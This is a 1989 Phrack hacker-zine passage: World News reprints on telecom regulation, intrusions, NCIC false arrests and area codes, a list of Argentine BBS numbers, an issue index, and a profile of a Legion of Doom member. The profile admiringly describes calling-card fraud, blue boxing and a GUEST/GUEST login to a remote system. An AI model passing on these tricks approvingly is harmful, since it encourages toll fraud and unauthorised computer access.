Contrary to popular image, computer hackers aren't always young boys. The study found that 32% of those arrested for computer crimes were female, while only 14% were under 21. The study said 45% of hackers were 25 to 30 years old.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Comments from Delta‑Master

~~~~~~~~~~~~~~~~~~~~~~~~~~

I do not know about you people, but the public's confusion about hackers starts to bother me when they make errors. Seriously, I know of only a few hackers over the age of 21. The fact that the newspapers also equate the thug‑like computer criminals with the mastermind‑criminal type hacker (you guys) is also pretty annoying, wouldn't you agree? One key phrase you must note: "32% OF THOSE ARRESTED." Oh well, such are the mistakes of newspapers.

________________________________________

Public Service Commission Bans Operator Companies April 24, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Jerri Stroud (St. Louis Post‑Dispatch)

The Missouri Public Service Commission voted 4‑1 last week to ban providers of so‑called alternative operator services in Missouri because allowing the companies to operate is "not in the public interest."

Alternative operator services companies contract with hotels, motels colleges, hospitals, airports, restaurants and other facilities to provide operator assistance to customers using pay telephones or house phones. Consumer groups have complained about price‑gouging by the companies nationwide.

Mark Wheatley, a lawyer for the Office of Public Council, praised the commission's decision.

The Office of Public Council has received numerous complaints about excessive rates and surcharges by alternative operator services companies, said Wheatley. Some alternative operator services companies also have accepted other companies' credit cards without authorization from the companies issuing the cards, he said.

"We feel that it's an extremely important decision by the commission." said Wheatley. But he said he expects the companies affected by the ruling to appeal.

Lawyers for the alternative operator services companies could not be reached for comment.

In it's ruling, the commission said many consumers aren't aware of the rates charged by the alternative operator services companies until they receive "a bill for operator services at prices higher than those to which he is accustomed." Consumer groups say the rates often are twice or three times the rates charged by better‑known long‑distance companies.

Even if an operator service company identifies itself when a consumer makes a call, the commission said many consumers don't understand the significance of the identification.

"If the end user is not educated as to the intricacies of using an alternative operator services provider, he does not truly have a meaningful choice..." the commission said.

The ruling only affects intrastate calls handled by alternative operator services companies, but it may effectively prevent the companies from providing interstate service as well.

The commission specifically denied tariff requests from International Telecharge Inc. and American Operator Services Inc. The commission also directed three other companies ‑‑ Teleconnect Inc., Dial US, and Dial USA ‑‑ to file new tariffs consistent with the ruling.

The ruling allows companies to operate who provide operator services in connection with their business ‑‑ long‑distance carriers and local telephone companies, for example. But the commission also placed limits on these companies.

Under the ruling, operator services companies must:

* Identify themselves to the caller as well as to the party being billed by the call (in the case of a collect or third‑party call).

* Quote rates to the caller or billed party on request, without charge.

* Use calling card verification procedures acceptable to the companies issuing the cards.

* Post in a prominent position the company's name, detailed complaint procedures and instruction on how to reach the local telephone company operator and other long‑distance carriers.

* Transfer emergency traffic to the local telephone company or American Telephone & Telegraph Co. until the alternative services provider can show that it can handle emergency calls adequately.

________________________________________

Fax Attack May 13, 1989

~~~~~~~~~~

Taken from The Ann Arbor News

"Governor's Attempt To Ban Unsolicited Advertisements Backfires!"

HARTFORD, Conn ‑ The great fax attack of 1989 ‑‑ an all‑out lobbying campaign against a bill banning unsolicited facsimile advertising ‑‑ may have backfired when the governor's fax machine was jammed for hours with unwanted messages.

Starting Thursday, May 11, and continuing Friday, May 12, Governor William A. O'Neill's fax machine has been beeping constantly, spitting out unwanted messages from angry businesses that advertise by fax.

The businesses oppose a bill now awaiting O'Neill's signature that would prohibit them from marketing their products by fax without first obtaining the permission of the recipient. Violators would face a $200 fine.

Starting Thursday morning, dozens of Connecticut businesses faxed to O'Neill's office a form letter arguing against the fax ban. The stream of fax messages was so constant (40 came in before 10 AM) that the governor's office turned off the fax machine Thursday (May 11).

O'Neill's press secretary, Jon. L. Sandberg, said the governor still hasn't decided whether he will sign the bill. But aides to the governor said the persistent lobbying campaign proved how annoying unwanted messages can be. The inconvenience was compounded because the governor's office was unable to use its fax machine to receive information about spring flooding around the state.

________________________________________

NYNEX Announces Info‑Look Gateway April 28, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Introducing a new service for accessing information and more... all through your personal computer!

Starting in May 1989, New York Telephone's INFO‑LOOK (tm) Gateway Service can be your link to accessing a variety of information, products and services.

The INFO‑LOOK Gateway simplifies on‑line computer access to a variety of information providers. When you call the Gateway phone number through your modem, you'll be able to scan a menu of information services.

The types of information services you may choose from include: Entertainment, business, health, food, news, weather, sports, travel, government, educational and reference information. The services, some interactive, are provided by independent companies.

The INFO‑LOOK Gateway is easy to use ‑‑ even if you're relatively new to using a PC.

What you'll need to use the INFO‑LOOK Gateway

1. Virtually any type of personal computer.

2. A modem (300, 1200, or 2400 Baud), and communications software. This enables your computer to communicate with other computers via the telephone system.

3. A New York Telephone Calling Card. If you need a New York Telephone Calling Card, (it's FREE), call your service representative whose number appears on page one of your New York Telephone bill.

Charges for using the INFO‑LOOK Gateway

There are ** no ** Gateway enrollment fees and ** no ** monthly subscription charges. In most cases, you will be charged (New York people only):

o A local call to reach the INFO‑LOOK Gateway.

o While you're browsing the Gateway directory of services, or moving between services, you pay $.05 a minute.

o Once you connect to a service, the charge is determined by the Service Provider. Some services have a per‑minute usage charge. Some services are free. The charges for each service are listed in the Gateway menu.

You'll find most charges itemized on your monthly New York Telephone bill. Some Service Providers may decide to bill you separately and directly for use of their services.

Call for more information:

To get your free INFO‑LOOK Gateway information booklet call (toll‑ free) 1‑800‑338‑2720, Ext. 20, any day from 9 a.m. to 11 p.m.

Note: New York Telephone does not provide or control the services offered through the INFO‑LOOK Gateway Service. They are provided by independent companies, which are responsible for the content, character, and quality of their services.

The predictions run $5 billion now and another $5‑10 billion by 1991.

[INFO‑LOOK is already operating in Bell South and Bell Atlantic.]

________________________________________

Pacific Bell Plans Access To Computers June 9, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from Santa Cruz Sentinel (Section B)

SAN FRANCISCO (AP) ‑‑ Pacific Bell said Thursday it hopes to compete with the popularity of television by offering people easy access to computerized libraries, bulletin boards and the use of electronic mail.

PacBell's California On‑line ‑‑ which will be available to anybody with a personal computer, telephone and calling card ‑‑ will be among the first in the nation to use a graphic‑based system that simplifies procedures so only a rudimentary familiarity with computers is needed.

"It's going to offer our customers a supplement to their current leisure activities... and among other things we've seen (in trials) a lot of people who got away from the TV," said Roger P. Conrad, director of Videotex Gateway Services.

"We feel this is a more productive way for people to spend their lives and we think a lot of users are going to agree," he added. Users will pay "info‑entrepreneurs" fees based on the time they use various services and will be billed on their monthly telephone statements. Unlike some on‑line information services, users do not have to subscribe ahead of time.

Conrad said the types of services are limited only by vendors' imaginations. PacBell will make money by selling telecommunication line use to the companies.

________________________________________

Bulletin Boards Of Argentina June 5, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Country Code = 54 (Argentina)

City Code = 1 (Buenos Aires)

This list might be slightly incorrect due to the passage of time. The last update was on December 23, 1986.

Name Hours Of Operation ======= Number= ‑‑‑‑

Beta 23:00 ‑ 6:30 802‑0288

C‑Mania 21:00 ‑ 7:00 362‑8843

CBM 16:00 ‑ 12:00 90‑4988

Century 21 24 hours 632‑7070

Cerebruss 24 hours 47‑2717

Cerebruss Information ? 48‑8300

48‑9886

Databank ? 44‑9760

Drean Conection ? 953‑2523

Los Pinos 13:00 ‑ 19:00 21‑0375

Magenta ? 392‑0124

Magenta ? 392‑0016

Maxes 23:00 ‑ 7:00 542‑2695

Mendieta 22:00 ‑ 8:00 654‑6999

Pirates Cove 24:00 ‑ 6:00 783‑5023

Sanctuary 24:00 ‑ 3:00 641‑4608

Soft‑work 22:30 ‑ 9:00 88‑2065

TCConection 19:00 ‑ 12:00 22‑4197

The Connection 24 Hours 82‑5780

The Hacker 23:00 ‑ 7:00 748‑2005

Tiger ? 784‑2226

XCASA ? 611‑8136

BBS‑IOM 24 Hours 804‑3602

Note: The settings for all systems listed above are Even, 7, 1.

Contributed by Noli

Phrack World News XXVII Part 3

==Phrack Inc.==

Volume Three, Issue 27, File 12 of 12

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXVII/Part 3 PWN

PWN PWN

PWN June 20, 1989 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

One of Cliff Stoll's "Wily Hackers" Is Dead (Suicide?) June 5, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

According to West German publications, the "Wily Hacker" Karl Koch, of Hannover, West Germany, died Friday, June 3, probably by suicide. His body was found burnt (with gasoline) to death, in a forest near Celle (a West German town near Hannover where he committed his hacks, as had been observed by German Post).

Koch was one of the 2 hackers who confessed their role in the KGB hack to the public prosecutors, therewith bringing the case to public attention. As German newspapers report, he probably suffered from a psychic disease: He thought he was permanently observed by alien beings named Illimunates' which tried to kill him. Probably, he had internalized the role of "Captain Hagbard" (his pseudonym in the hacking scene), taken from a U.S. book, who (like him) suffered from supervision by the Illuminates. Police officials evidently think that Koch committed suicide (though it is believed, that there are "some circumstances" which may also support other theories; no precise information about such moments are reported).

According to German police experts, Karl Koch's role in the KGB case as in daily life can properly be understood when reading this unknown book.

Information Provided by Klaus Brunnstein (University of Hamburg)

Illuminates... KGB... whatever... ‑KL]

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Illuminatus! June 14, 1989

~~~~~~~~~~~~

The book in question is believed to be "Illuminatus!" by Harold Shea and Robert Anton Wilson. The book is a spoof on conspiracy theories, and suggests that many and probably all human institutions are just fronts for a small group of "enlightened ones," who are themselves a front for the Time dwarves from Reticuli Zeta, or perhaps Atlantean Adepts, remnants of Crowley's Golden Dawn, or even more likely the Lloigor of H.P. Lovecraft's Cthulhu Mythos. A leading character in this book is named Hagbard Celine.

"Illuminatus!" is a fun read if you like psychedelia and paranoia. It also seems to have influenced a lot of subsequent work, most notably Adams' "Hitchhiker's Guide to the Galaxy." It is easy to see how an unbalanced mind, taking it literally, could be completely absorbed. In fact "Illuminatus!" seems as if it was written with the intent of just this sort of programming, referring to it as "Operation Mindfuck."

This is probably not a real danger for the vast majority of sane adults, but it may, tragically, have been the case here. Or perhaps, no disrespect intended, Koch may in the course of various hacks really have discovered too much about the Illuminati. After all, they are supposed to be the secret power behind the KGB :‑)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

For more information on Clifford Stoll and the Wily Hackers of West Germany, please see:

"Who Is Clifford Stoll?" (No Date) Phrack World News issue XXII/Part 1 "A Message From Clifford Stoll" (1/10/89) Phrack World News issue XXIII/Part 2

And the following articles all found in Phrack World News issue XXV/Part 2:

"German Hackers Break Into Los Alamos and NASA" (3/2/89) "Computer Espionage: Three 'Wily Hackers' Arrested" (3/2/89) "Computer Spy Ring Sold Top Secrets To Russia" (3/3/89) "KGB Computer Break‑Ins Alleged In West Germany" (3/3/89) "News From The KGB/Wily Hackers" (3/7/89)

________________________________________

Sex Put On Probation By Mystery Hacker June 13, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Ft. Lauderdale News and Sun‑Sentinel

"Yes, you sound very sexy, but I really need a probation officer."

DELRAY BEACH, Fla. ‑‑ Callers trying to dial a probation office in Delray Beach, Fla on Monday, June 12, heard a smorgasbord of sex talk from a panting woman named Tina instead.

Southern Bell telephone officials said a computer hacker reprogrammed their equipment over the weekend, routing overflow calls intended for the local probation office to a New York‑based phone sex line.

"People are calling the Department of Corrections and getting some kind of sex palace," said Thomas Salgluff, a spokesman for the Palm Beach County probation office.

Southern Bell officials said it was the first time their switching equipment has been reprogrammed by an outside computer intruder. Southern Bell provides local telephone service in Florida, Georgia, North Carolina, and South Carolina.

"We're very alarmed," said Southern Bell spokesman Buck Passmore. He said such a feat would require someone with considerable computer knowledge.

The implications of such a computer breach are considerable. Intercepting corporate communications, uncovering unlisted phone numbers, and tampering with billing information are all plausible consequences of computer security breaches at the the phone company.

Hackers have invaded Southern Bell in the past, but they have never reprogrammed a telephone link, Passmore said.

Security technicians from Southern Bell and AT&T are trying to trace the source of the computer breach, Passmore said.

________________________________________

Hacking For A Competitive Edge May 12, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from the Los Angeles Times

Two former Tampa, FLA TV news managers have been charged with illegally tapping into phone lines and computers at another station to gain a news edge over their competitors. Former new director Terry Cole and assistant news director Michael Shapiro at WTSP‑TV have been charged with 17 counts of computer hacking and conspiracy in the theft of information from WTVT‑TV through computer phone lines, authorities said. Their arraignment was set for May 19.

If convicted, each could face a maximum prison sentence of 85 years. The two were fired from WTSP when the station learned of the alleged thefts. The break‑ins began in November, 1988, but were not noticed until January 12, 1989, when WTVT's morning news producer noticed that files were missing, authorities said.

Computer experts determined that an intruder had rifled the files. Authorities said Shapiro knew WTVT's security system thoroughly because he had helped set it up while working there as an assignment manager before being hired away from WTVT in October.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

TV News Executives Fired After Hacking Charges From Rival

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Tampa, Fla. ‑‑ A Florida television station fired two news executives in the wake of reports that one of them allegedly penetrated a rival station's computer system and stole sensitive information.

WTSP‑TV (Channel 10), an ABC affiliate in St. Petersburg, announced that it had fired Assistant News Director Michael Shapiro and News Director Terry Cole.

Shapiro was arrested on February 7th on felony charges for allegedly breaking into a computer system at WTVT‑TV (Channel 13) on at least six occasions in January. He was once employed by WTVT as an assistant manager and was responsible for administering the station's computer systems.

Law enforcement officials seized from Shapiro's home a personal computer, 200 floppy disks and an operating manual and user guide for software used at the rival station.

He has been charged with 14 felony counts under Florida Statute 815, which covers computer‑related crimes. Each count carries a maximum sentence sentence of 15 years and a $10,000 fine.

Vince Barresi, WSTP's vice‑president and general manager, refused to comment on the two firings. However, in a prepared statement, he said that he told viewers during an 11 PM newscast last Tuesday that the station acted to "avoid any questions about the objective way we do our business in keeping the public informed."

Cole, who hired Shapiro last September, has not been charged by Florida law enforcement officials. He was fired, according to one source, because as director of the news room operations, he is held ultimately for the actions of news staffers. Shapiro and Cole were unavailable for comment.

[Another story that discussed this case was "Television Editor Charged In Raid On Rival's Files" (February 8, 1989). It appeared in Phrack World News Issue XXIV/Part 2. ‑KL]

________________________________________

National Crime Information Center Leads To Repeat False Arrest May 14, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by James Rainey (Los Angeles Times)

Mix ups with the databases at the NCIC have caused Roberto Perales Hernandez to be jailed twice in the last three years as a suspect in a 1985 Chicago residential burglary. The authorities confused him with another Roberto Hernandez due to a single entry in the FBI's National Crime Information Center computer.

The two Roberto Hernandezes are the same height, about the same weight, have brown hair, brown eyes, tattoos on their left arms, share the same birthday, and report Social Security numbers which differ by only one digit!

The falsely imprisoned man has filed suit charging the Hawthorne, California Police Department, Los Angeles County, and the state of California with false imprisonment, infliction of emotional distress, and civil rights violations stemming from the most recent arrest last year.

He had previously received a $7,000 settlement from the county for holding him 12 days in 1986 before realizing he was the wrong man. In the latest incident, he was held for seven days then freed with no explanation.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Another False Incarceration May 18, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~

In his testimony on May 18, 1989 to the Subcommittee on Civil and Constitutional Rights of the Committee on the Judiciary of the U.S. House of Representatives, relating to the National Crime Information Center, David D. Redell cited another case of false incarceration concerning Roberto Perales Hernandez as well as various cases noted earlier ‑‑ such as that of Terry Dean Rogan [see below]:

"Only last week, a case in California demonstrated the potential benefit of easy access to stored images. Joseph O. Robertson had been arrested, extradited, charged, and sent to a state mental facility for 17 months. During that entire time, mug shots and fingerprints were already on file showing clearly that he was the wrong man, but no one had taken the trouble to check them."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

These articles show clear examples of the damage and problems caused by this "super" database. People like William Bayse (Federal Bureau of Investigation's Director For Technical Services) and William Sessions (Director of the FBI) either fail to realize this or perhaps they just do not care (as long as something similar does not happen to them).

For those of you who are interested in looking into this further, the first article about this NCIC database was; "'Big Brotherish' Data Base Assailed," (November 21, 1988). It appeared in Phrack World News Issue XXII/Part 3.

Another incident similar to the cases mentioned above concerned Richard Lawrence Sklar, a political science professor at the University of California at Los Angeles. He was mistaken by the computer for a fugitive wanted in a real estate scam in Arizona. Before the FBI figured out that they had the incorrect person, Sklar, age 58, spent two days being strip searched, herded from one holding pen to another, and handcuffed to gang members and other violent offenders. For more details on this case and the case concerning Terry Dean Rogan, please refer to "FBI National Crime Information Center Data Bank," (February 13, 1989) which appeared in Phrack World News Issue XXIV/Part 2 (as well as the Washington Post).

________________________________________

TRW and Social Security Administration May 12, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The credit bureau of TRW has been working with the Social Security Administration to verify its database of 140 million names and Social Security numbers. In order to cover the cost, TRW is paying the Social Security Administration $1 million, while Social Security Administration will provide a matching $1 million.

Since the Social Security Administration is asking for a budget increase for their computer and telecommunications systems, several legislators are outraged by the fact they they are spending $1 million for this non‑government project. Claiming that the project is "as far away from the mission of the Social Security Administration as anything I have ever come across," Senator David Pryor (D‑Ark) questioned the competence and credibility of Social Security Administration Commissioner Dorcas R. Hardy and asked for an investigation by the HHS inspector general.

In addition, several lawmakers such as Dale Bumpers (D‑Ark) believe the project to be a violation of civil liberties. Said Bumpers, "I don't like any public institution releasing an individual's private information." The American Law Division of the Congressional Research Service has already concluded that the project is a violation of the Privacy Act of 1974.

[A related article, "Verifying Social Security Numbers," (April 11, 1989) appeared in Phrack World News Issue XXVI/Part 3 (as well as the New York Times on the same date). ‑KL]

________________________________________

Phrack World News XXVII Quicknotes

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1. The current name assigned to the new network being created by the merger of BITNET and CSNET is ONENET.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

2. NPA 903 Assigned to NE Texas (May 10, 1989) ‑‑ It was just announced that those portions of 214 outside Dallas will be changed to 903 in the Fall of 1990.

With 708 assigned to Chicago, 903 assigned to Texas, and 908 assigned to New Jersey, only 909 and 917 remain to be assigned before the format changes.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

3. Details On New Area Code 510 (June 6, 1989) ‑‑ The press release from Pacific Bell, quoted in the San Francisco Chronicle, gives the phase‑in dates for the new NPA 510.

Inception is scheduled for October 7, 1991, with a four‑month grace period when NPA 415 will still work for the affected numbers. Final cutover is scheduled for January 27, 1992.

NPA 510 will encompass Alameda and Contra Costa counties, which currently have 842,388 customers out of the current 2,005,687 customers in NPA 415.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

4. New Jersey Area Code To Be Split (April 27, 1989) ‑‑ The split is not supposed to occur until 1991. The new NPA will be 908 and it will basically cover the southern "half" of the current 201 area. The affected counties will be Warren, Hunterdon, Middlesex, Union, Monmouth and Ocean, and the southwest corner of Morris). Counties remaining in 201 will be Sussex, Passaic, Bergen, Essex, Hudson, and the majority of Morris.

New Jersey Bell will also start requiring area codes on calls into New York and Pennsylvania that have been considered part of New Jersey local calling areas. This will apparently take effect October 2 and free up about 25 exchanges. Information from the Asbury Park Press.

[This last line somewhat contradicts the first line as far as the dates are concerned. More information as we get it. ‑‑ KL.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

5. New Area Codes For London (April 27, 1989) ‑‑ British Telecom has announced that the area code for London is to be changed on May 6th, 1990, due to the increased number of lines needed in the capital.

The existing code is 01‑, and the new codes to be introduced are 071‑ for the centre of the city and 081‑ for the suburbs. A list was published in the Evening Standard, showing which exchanges will fall in which area.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

6. Member Learns The Hard Way: American Express Is Watching (May 4, 1989) ‑This article taken from the San Jose Mercury News describes how American Express called a member to voice their concern that he might not be able to pay his recent bill. American Express was able to access his checking account and find that he had less than what was owed to them. His card was temporarily "deactivated" after the member refused to give any financial information except that he would pay up the bill with cash when it came in.

Apparently, the card application, in finer print, declares that "[American Express reserves] the right to access accounts to ascertain whether you are able to pay the balance." After some arguments with the company, the member comments that "I learned a lesson: My life is not as private as I thought."

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

7. Southwestern Bell's QuickSource (April 24, 1989) ‑‑ Southwestern Bell Telephone Company is running a one year trial (March 1989 89 ‑ March 1990) of two information services: QuickSource (audiotex) and Sourceline (videotext). The latter requires a terminal of some type, but the former only requires a touch‑tone phone for access. The QuickSource number is 323‑2000, but cannot be accessed via 1+713+; SWBTCo has blocked access to "the Houston metro area served by SWBTCo," according to the script the woman reads to you when ask for help (713‑865‑5777; not blocked). The help desk will send you a free QuickSource directory though.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

8. Telemail, MCI, AT&T Mail Interconnection (May 16, 1989) ‑‑ U.S. Sprint's subsidiary, Telenet has announced an interconnection agreement between Telemail, Telenet's electronic mail product, MCI Mail, and AT&T Mail.

The new arrangement, scheduled to be in effect later this summer, will allow the 300,000 worldwide users of Telemail, the 100,000 users of MCI Mail and the 50,000 users of AT&T Mail to conveniently send email messages to each other.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

9. Illinois Bell Knocked Out For Four Hours! (May 18,1989) ‑‑ Service to over 40,000 Illinois Bell subscribers in the northwest suburbs of Chicago was disrupted for about four hours because of problems with the computer in the switching center.

Phones were either dead or inoperative for incoming and outgoing calls between 9:30 a.m. and 1:40 p.m. because of a software glitch at the central office in Hoffman Estates, IL. Most of the disruption occurred in Hoffman Estates, Schaumburg, Arlington Heights, Hanover Park, and Streamwood, IL.

The exact nature of the problem was not discussed by the Bell spokesman who reported that the outage had been corrected. Apparently the backup system which is supposed to kick in also failed.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

10. SRI Attacked By Kamikaze Squirrels (May 29, 1989) ‑‑ It seems that the Data Defense Network SRI's "no‑single‑point‑of‑failure" power system failed at the hands, or rather the paws, of a squirrel. The power was off for approximately 9 hours and they experienced no hardware problems. This was at least the third time that a squirrel has done SRI in.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

11. New York Telephone Freebies (June 10, 1989)(San Francisco Chronicle, p. 2.) ‑‑ 24 pay phones along the Long Island Expressway were in fact free phones because of a programming/database screw‑up. They were being heavily used for long distance calls by those who had discovered the oversight, including many to Pakistan (Police found 15 Pakistani men using the phones when they went to investigate after a shooting). There were no estimates on the unrecovered cost of the phone calls.

________________________________________

*** END ***

28

- Phrack Inc. XXVIII Index by Knight Lightning & Taran King

- Phrack Pro-Phile XXVIII by Erik Bloodaxe & Taran King

- Introduction to the Internet Protocols by Knight Lightning

- Network Miscellany by Taran King

- A Real Functioning PEARL BOX Schematic by Dispater

- Snarfing Remote Files by Dark OverLord

- Other Common Carriers by Equal Axis

- Phrack World News Special Edition III (SummerCon '89) by Knight Lightning

- Phrack World News XXVIII Part 1 by Knight Lightning

- Phrack World News XXVIII Part 2 by Knight Lightning

- Phrack World News XXVIII Part 3 by Knight Lightning

- Phrack World News XXVIII Part 4 by Knight Lightning

Phrack Inc. XXVIII Index

==Phrack Inc.==

Volume Three, Issue 28, File #1 of 12

Phrack Inc. Newsletter Issue XXVIII Index

~~~~~~~~~~~~~~~~~~~~~

October 7, 1989

Greetings and welcome to Issue 28 of Phrack Inc. We really must apologize for the lateness of this issue, but sorting through all of the files sent in from over the entire summer as well as our own real life responsibilities have been keeping us both rather busy.

This issue we feature Phrack World News Special Edition III. This file contains the exclusive coverage of SummerCon '89, which took place in St. Louis, Missouri on June 22‑25, 1989.

The Future Transcendent Saga continues in this issue with part one of a file about TCP/IP. We also present to you the beginning of a new irregular column called Network Miscellany by Taran King. Its exactly what it says it is ‑‑ interesting and important changes in, and tips about using, the Internet. It will contain different material each issue it is presented in to keep pace with the always changing wide area networks. Speaking of irregular columns, Phrack Pro‑Phile returns this issue with a detailed look at Erik Bloodaxe of LOD.

As always, we ask that anyone with network access drop us a line to either our Bitnet or Internet addresses...

Taran King Knight Lightning C488869@UMCVMB.BITNET C483307@UMCVMB.BITNET C488869@UMCVMB.MISSOURI.EDU C483307@UMCVMB.MISSOURI.EDU

And now we can also be reached via our new mail forwarding addresses (for those that cannot mail to our Bitnet or Internet addresses):

...!netsys!phrack or phrack@netsys.COM

________________________________________

Table of Contents:

1. Phrack Inc. XXVIII Index by Taran King and Knight Lightning

2. Phrack Pro‑Phile XXVIII on Erik Bloodaxe by Taran King

3. Introduction to the Internet Protocols: Chapter Eight of the FTS by KL 4. Network Miscellany by Taran King

5. A Real Functioning PEARL BOX Schematic by Dispater

6. Snarfing Remote Files by Dark OverLord

7. Other Common Carriers; A List By Equal Axis

8. Phrack World News Special Edition III (SummerCon '89) by Knight Lightning 9‑12 Phrack World News XXVIII/Parts 1‑4 by Knight Lightning

Phrack Pro-Phile XXVIII

==Phrack Inc.==

Volume Three, Issue 28, File #2 of 12

==Phrack Pro‑Phile XXVIII==

Created and Written by Taran King

Done on September 23, 1989

Welcome to Phrack Pro‑Phile XXVIII. Phrack Pro‑Phile was created to bring information to you, the community, about retired or highly important/ controversial people. This issue, we bring you a long time member of the hacking community and a charter member of the Legion Of Doom...

Erik Bloodaxe

~~~~~~~

Handle: Erik Bloodaxe

Call Him: Chris

Handle Origin: "Vikings" by ? (Don't remember) Date Of Birth: 20 years ago

Current Age: 20

Height: 5' 10"

Weight: 130

Eye Color: Blue

Hair Color: Brown

Blood Type: A+

Sperm Count: 3

Computers: Atari 400, various dumb terminals, CompuAdd Turbo XT

Origins in Phreak/Hack World ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Way back when he was in 7th grade, some 8+ years back, Erik was quite a shoplifter. As was the norm for 13 year‑olds, he and a friend of his had stolen a stack of "girlie" magazines on one of their "raids." One of these was High Society, which was toying with the idea of "recorded entertainment." His friend was determined to hear this, but as the number was in New York, they decided to use the "strange phone service" his mother had signed up for to keep down the bill. He explained it to Erik, "You dial this number and then tell the operator your number and the phone number." They called it and told the operator a number that was 100 off by mistake. The operator said "Thank you," and the call went through. Thus was born a "code‑abuser." They kept this information to themselves for several months. When the service changed to an automated format (rather than operator service), they began to share their knowledge. Word spread like wildfire. Interestingly enough, to this day, he can still backtrack 95% of all hacker‑related code abuse from San Antonio back to himself as the originator of the information (well, a friend of a friend of a friend, etc..)

Origins in Phreak/Hack BBSes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A friend of Bloodaxe's father bought a MicroModem II to get information from Dialog for his legal practice. He still remembers the first time he used it. His friend's dad used Dialog through Telenet. Once he saw Telenet, he began trying various addresses. One of the first things he ever did was get into a 212 VAX/VMS with GUEST/GUEST. Erik had absolutely no idea what he was doing. They were just guessing... typing things like "hello?", "catalog", and assorted other inane things. They also called a few BBSes that came with the modem instructions (using their long‑distance trick). By the end of the weekend, they had worked their way to Pirates' Harbor (now TIMECOR) in 617, and Pirates' Cove 516. From then on, he was hooked on modems. Then, Wargames came out. Embarrassing as it is for Erik, Wargames really did play a part in imbedding the idea of computer "hacking" in his little head. (As it did for hundreds of others who are too insecure to admit it.) He had his little Atari 400, but no modem (Hayes 300's were still hundreds of dollars). Another friend got an Atari Acoustic Coupler for his 800. Born now were the Atari Warez D00dz. For about a year, they did nothing but call Atari BBSes (and anything that had "Pirate" in its name). They did stumble onto things like the Phone Booth in 303, OSUNY (on an OHIO Scientific, days before it went down), and Mines of Moria (713). Finally, he got an MPP modem. Bloodaxe was on it day and night. By this time they got into scanning. He was the one who checked everything out, as he was the one who was reading up on computer OSes at the UTSA library. They were still big into games, and they ran across a really new game called Behind Jaggi Lines. A guy named Devious Xevious traded them something called Software Blue Box for it, and gave them a BBS to call: Pirate‑80. In 1983, Erik Bloodaxe entered the hack/phreak world. He was blue boxing most of his calls by then.

People in the Phreak/Hack World Met

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Bloodaxe has only met a handful "face‑to‑face," but has spoken with almost everyone around in the "golden‑years," as he was heavily into conferences.

Experience Gained In the Following Ways

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

